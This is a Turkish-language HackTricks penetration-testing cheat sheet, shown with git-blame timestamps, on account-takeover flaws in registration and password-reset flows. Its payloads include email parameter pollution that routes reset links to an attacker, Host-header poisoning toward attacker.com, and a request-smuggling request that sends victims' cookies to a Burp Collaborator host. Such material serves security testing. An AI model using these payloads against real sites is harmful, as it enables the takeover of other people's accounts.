hacktricks/pentesting-web/registration-vulnerabilities.md

231 lines
11 KiB
Markdown
Raw Normal View History

# Kayıt & Ele Geçirme Açıkları
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>HackTricks'i Destekleyin</summary>
2024-02-03 14:45:32 +00:00
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **zararlı yazılımlar** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevsellikler sunan bir **karanlık ağ** destekli arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan zararlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
2024-02-10 18:14:16 +00:00
## Kayıt Ele Geçirme
2022-04-28 16:01:33 +00:00
### Çift Kayıt
2021-06-27 14:55:59 +00:00
* Mevcut bir kullanıcı adı kullanarak oluşturmayı deneyin
2024-02-10 18:14:16 +00:00
* E-postayı değiştirerek kontrol edin:
* büyük harf
* \+1@
* e-postada bazı noktalar ekleyin
2024-02-10 18:14:16 +00:00
* e-posta adında özel karakterler (%00, %09, %20)
* E-postadan sonra siyah karakterler koyun: `test@test.com a`
2024-02-10 18:14:16 +00:00
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
2021-06-27 14:55:59 +00:00
### Kullanıcı Adı Sayımı
2021-06-27 14:55:59 +00:00
Bir kullanıcı adının uygulama içinde zaten kayıtlı olup olmadığını anlamaya çalışın.
2021-06-27 14:55:59 +00:00
2024-02-10 18:14:16 +00:00
### Şifre Politikası
2021-06-27 14:55:59 +00:00
Bir kullanıcı oluştururken şifre politikasını kontrol edin (zayıf şifreler kullanıp kullanamayacağınızı kontrol edin).\
Bu durumda kimlik bilgilerini brute force ile denemeyi deneyebilirsiniz.
2021-06-27 14:55:59 +00:00
2024-02-10 18:14:16 +00:00
### SQL Enjeksiyonu
2021-06-27 14:55:59 +00:00
[**Bu sayfayı kontrol edin**](sql-injection/#insert-statement) kayıt formlarında hesap ele geçirmeleri veya bilgi çıkarmak için **SQL Enjeksiyonları** ile nasıl deneme yapacağınızı öğrenmek için.
2021-06-27 14:55:59 +00:00
2024-02-10 18:14:16 +00:00
### Oauth Ele Geçirmeleri
2021-06-27 14:55:59 +00:00
2023-02-16 18:26:56 +00:00
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
2021-06-27 14:55:59 +00:00
### SAML Açıkları
2021-06-27 14:55:59 +00:00
{% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/)
{% endcontent-ref %}
2024-02-10 18:14:16 +00:00
### E-posta Değiştirme
Kayıtlı olduğunuzda e-postayı değiştirmeyi deneyin ve bu değişikliğin doğru bir şekilde doğrulanıp doğrulanmadığını veya rastgele e-postalara değiştirip değiştiremeyeceğinizi kontrol edin.
2021-06-27 14:55:59 +00:00
### Daha Fazla Kontrol
2021-06-27 14:55:59 +00:00
* **geçici e-postalar** kullanıp kullanamayacağınızı kontrol edin
* **Uzun** **şifre** (>200) **DoS**'ye yol açar
* **Hesap oluşturma üzerindeki hız limitlerini kontrol edin**
* username@**burp\_collab**.net kullanın ve **callback**'i analiz edin
2021-11-30 00:17:48 +00:00
## **Şifre Sıfırlama Ele Geçirme**
2021-11-30 00:17:48 +00:00
### Referrer Üzerinden Şifre Sıfırlama Token Sızıntısı <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
2021-11-30 00:17:48 +00:00
1. E-posta adresinize şifre sıfırlama talep edin
2024-02-10 18:14:16 +00:00
2. Şifre sıfırlama bağlantısına tıklayın
3. Şifreyi değiştirmeyin
4. Herhangi bir 3. parti web sitesine tıklayın (örneğin: Facebook, twitter)
5. Burp Suite proxy'sinde isteği yakalayın
6. Referer başlığının şifre sıfırlama token'ını sızdırıp sızdırmadığını kontrol edin.
2021-11-30 00:17:48 +00:00
### Şifre Sıfırlama Zehirleme <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
2021-11-30 00:17:48 +00:00
1. Burp Suite'te şifre sıfırlama isteğini yakalayın
2. Burp Suite'te aşağıdaki başlıkları ekleyin veya düzenleyin: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Değiştirilmiş başlıkla isteği iletin\
2024-02-10 18:14:16 +00:00
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. _host başlığına_ dayalı bir şifre sıfırlama URL'si arayın: `https://attacker.com/reset-password.php?token=TOKEN`
2021-11-30 00:17:48 +00:00
### E-posta Parametresi Üzerinden Şifre Sıfırlama <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
2021-11-30 00:17:48 +00:00
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
2021-11-30 00:17:48 +00:00
1. Saldırgan, hesabıyla giriş yapmalı ve **Şifreyi Değiştir** özelliğine gitmelidir.
2. Burp Suite'i başlatın ve isteği yakalayın.
3. Tekrarlayıcı sekmesine gönderin ve parametreleri düzenleyin: Kullanıcı ID/e-posta\
2024-02-10 18:14:16 +00:00
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
2021-11-30 00:17:48 +00:00
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
2021-11-30 00:17:48 +00:00
Şifre sıfırlama jetonu her seferinde rastgele üretilmeli ve benzersiz olmalıdır.\
Jetonun süresinin dolup dolmadığını veya her zaman aynı olup olmadığını belirlemeye çalışın, bazı durumlarda üretim algoritması zayıf olabilir ve tahmin edilebilir. Aşağıdaki değişkenler algoritma tarafından kullanılabilir.
2021-11-30 00:17:48 +00:00
* Zaman damgası
* Kullanıcı ID'si
2024-02-10 18:14:16 +00:00
* Kullanıcının E-postası
* Ad ve Soyad
* Doğum Tarihi
* Kriptografi
* Sadece sayı
* Küçük jeton dizisi (karakterler arasında \[A-Z,a-z,0-9])
* Jeton tekrar kullanımı
* Jetonun son kullanma tarihi
2021-11-30 00:17:48 +00:00
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
2021-11-30 00:17:48 +00:00
1. Belirli bir e-posta için API/UI kullanarak bir şifre sıfırlama isteği tetikleyin, örneğin: test@mail.com
2. Sunucu yanıtını inceleyin ve `resetToken` kontrol edin.
3. Ardından, jetonu `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` gibi bir URL'de kullanın.
2021-11-30 00:17:48 +00:00
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
2021-11-30 00:17:48 +00:00
1. Sistemde, kurbanın kullanıcı adıyla aynı olan bir kullanıcı adıyla kaydolun, ancak kullanıcı adının önüne ve/veya arkasına boşluklar ekleyin. örneğin: `"admin "`
2. Kötü niyetli kullanıcı adınızla bir şifre sıfırlama talep edin.
3. E-postanıza gönderilen jetonu kullanarak kurbanın şifresini sıfırlayın.
4. Yeni şifreyle kurbanın hesabına bağlanın.
2021-11-30 00:17:48 +00:00
CTFd platformu bu saldırıya karşı savunmasızdı.\
Bakınız: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
2021-11-30 00:17:48 +00:00
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
2021-11-30 00:17:48 +00:00
1. Uygulama içinde veya çerezlerin ana alanla sınırlı olduğu bir alt alan adında bir XSS bulun: `*.domain.com`
2. Mevcut **oturum çerezini** sızdırın.
3. Çerezi kullanarak kullanıcı olarak kimlik doğrulaması yapın.
2021-11-30 00:17:48 +00:00
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
2021-11-30 00:17:48 +00:00
1\. **smuggler** kullanarak HTTP İstek Kaçırma türünü tespit edin (CL, TE, CL.TE)\
2021-11-30 00:17:48 +00:00
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Aşağıdaki verilerle `POST / HTTP/1.1`'i geçersiz kılacak bir istek oluşturun:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` amacıyla kurbanları burpcollab'a yönlendirmek ve çerezlerini çalmak\
3\. Son istek aşağıdaki gibi görünebilir
2021-11-30 00:17:48 +00:00
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone bu hatayı istismar eden raporlar\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
2021-11-30 00:17:48 +00:00
### CSRF ile Hesap Ele Geçirme <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. CSRF için bir payload oluşturun, örneğin: “Şifre değişikliği için otomatik gönderim yapan HTML formu”
2. Payload'u gönderin
2021-11-30 00:17:48 +00:00
### JWT ile Hesap Ele Geçirme <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
2021-11-30 00:17:48 +00:00
JSON Web Token, bir kullanıcıyı kimlik doğrulamak için kullanılabilir.
2021-11-30 00:17:48 +00:00
* JWT'yi başka bir Kullanıcı ID'si / E-posta ile düzenleyin
* Zayıf JWT imzasını kontrol edin
2021-11-30 00:17:48 +00:00
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
{% endcontent-ref %}
2024-02-10 18:14:16 +00:00
## Referanslar
2021-11-30 00:17:48 +00:00
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
2022-04-28 16:01:33 +00:00
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **dark-web** destekli bir arama motorudur ve bir şirketin veya müşterilerinin **tehdit eden** **malware'ler** tarafından **kompromize** olup olmadığını kontrol etmek için **ücretsiz** işlevsellikler sunar.
WhiteIntel'in ana hedefi, bilgi çalan malware'lerden kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>HackTricks'i Destekleyin</summary>
2024-02-03 14:45:32 +00:00
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}